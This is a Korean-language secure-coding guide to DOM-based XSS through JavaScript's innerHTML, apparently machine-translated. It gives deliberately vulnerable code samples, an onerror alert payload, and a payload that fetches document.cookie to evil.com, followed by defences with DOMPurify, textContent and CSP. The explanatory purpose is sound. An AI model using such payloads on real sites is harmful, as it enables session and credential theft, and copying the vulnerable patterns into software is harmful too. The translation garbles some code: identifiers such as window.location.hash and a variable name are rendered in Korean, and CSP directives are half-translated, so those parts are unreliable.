자바스크립트 애플리케이션에서 innerHTML 보안을 위한 실무 가이드

innerHTML 속성은 자바스크립트의 기본 메서드로서 DOM(문서 객체 모델). 개발자에게는 웹 페이지에 HTML 콘텐츠를 동적으로 삽입할 수 있는 편리함을 제공하지만, 보안상 중요한 영향을 미칩니다. innerHTML을 잘못 사용하면 다음과 같은 문제가 발생할 수 있습니다. DOM 기반 크로스 사이트 스크립팅(DOM XSS) 취약점를 사용하여 공격자가 합법적인 웹 페이지에 악성 스크립트를 삽입할 수 있습니다. 서버 측 반사 또는 저장된 페이로드에 의존하는 기존 XSS와 달리 DOM XSS는 전적으로 클라이언트 측에서 발생하므로 기존의 서버 측 보호 기능으로는 탐지하기 어렵습니다.

공격자는 다음을 삽입하여 내부 HTML을 익스플로잇할 수 있습니다. 자바스크립트 URL 쿼리 매개변수, 해시 조각, 양식 필드, 심지어 쿠키와 같은 사용자 제어 입력을 통해 페이로드를 전송합니다. 이러한 공격으로 인해 민감한 데이터를 탈취하거나 세션을 가로채거나 페이지 동작을 조작하여 최종 사용자를 오도할 수 있습니다. 동적 프런트엔드 프레임워크가 널리 퍼져 있는 오늘날, 내부HTML의 부적절한 사용은 최신 웹 애플리케이션에서 가장 흔하면서도 과소평가된 공격 벡터 중 하나입니다.

내부 HTML 보안을 위한 실무 가이드

innerHTML이란 무엇이며 중요한 이유

개발자는 innerHTML 속성을 사용하여 요소 내부의 HTML 콘텐츠를 가져오거나 설정할 수 있습니다. 이 속성은 웹 애플리케이션에 유연성을 제공하지만, 정제되지 않은 사용자 입력과 함께 사용하면 상당한 위험을 초래할 수도 있습니다. 공격자는 이를 악용하여 악성 스크립트를 삽입하여 비밀번호 도용, 세션 하이재킹 또는 데이터 유출로 이어질 수 있습니다.

취약한 코드의 예

<div id="output"></div>
<script>
  const userInput = new URLSearchParams(window.location.search).get('input');
  if (userInput) {
    document.getElementById('output').innerHTML = `Hello ${userInput}`;
  }
</script>

여기서 사용자가 제공한 모든 입력은 DOM을 직접 수정하여 XSS 공격을 허용합니다.

일반적인 innerHTML 공격 벡터

URL 매개변수를 통한 DOM 기반 XSS

공격자는 쿼리 문자열을 조작하여 스크립트를 삽입할 수 있습니다. 예를 들어

<https:><img src="x" onerror="alert('XSS')">

그리고 <img> 태그를 로드하지 못하여 onerror 이벤트를 발생시키고 공격자의 JavaScript를 실행합니다.

양식 입력 익스플로잇

내부 HTML 렌더링이 있는 양식은 공격자가 임의의 HTML 또는 JS 코드를 삽입할 수 있습니다:

<input id="userInput" />
<div id="display"></div>
<script>
  document.getElementById('display').innerHTML = document.getElementById('userInput').value;
</script>

공격자가 제출하는 경우: <script>fetch('<https://evil.com?cookie='+document.cookie>)</script>

쿠키와 세션 토큰이 도난당할 수 있습니다.

해시 조각 익스플로잇

창.위치.해시 조각은 서버 측 필터를 우회할 수 있습니다:

const fragment = window.location.hash.substring(1);
document.getElementById('output').innerHTML += '<br>' + 조각;

서버 상호 작용 없이도 공격자는 스크립트를 삽입하여 탐지를 어렵게 만들 수 있습니다.

innerHTML 공격

탐지 및 완화 전략

내부 HTML 악용을 탐지하려면 위험한 코드 패턴을 찾기 위한 정적 스캔과 실제 익스플로잇 시도를 관찰하기 위한 런타임 계측이 모두 필요합니다. DOM XSS는 서버 측 로그 없이 발생하는 경우가 많기 때문에(예를 들어 위치.해시), 방어자는 클라이언트 측 원격 측정 채널을 생성하고 브라우저 이벤트를 백엔드 신호와 상호 연관시켜야 합니다. 이 두 가지 접근 방식을 결합하면 사각지대가 줄어들고 정확도가 크게 향상됩니다.

서버 측 살균

사용자 입력을 innerHTML로 설정하기 전에 항상 사용자 입력을 위생 처리하세요. DOMPurify와 같은 라이브러리를 사용하는 것이 좋습니다:

const cleanInput = DOMPurify.sanitize(userInput);
document.getElementById('output').innerHTML = cleanInput;

innerHTML 대신 textContent 사용

가능한 경우 innerHTML을 텍스트 콘텐츠 를 사용하여 HTML 구문 분석을 방지합니다:

document.getElementById('output').textContent = userInput;

콘텐츠 보안 정책(CSP)

강력한 CSP를 적용하면 인라인 스크립트가 실행되는 것을 방지할 수 있습니다:

CSP 지시문	목적
default-src 'self'	동일한 출처의 스크립트만 허용
스크립트-src 'self'	인라인 또는 신뢰할 수 없는 외부 스크립트 차단
object-src 'none'	플래시/플러그인 실행 방지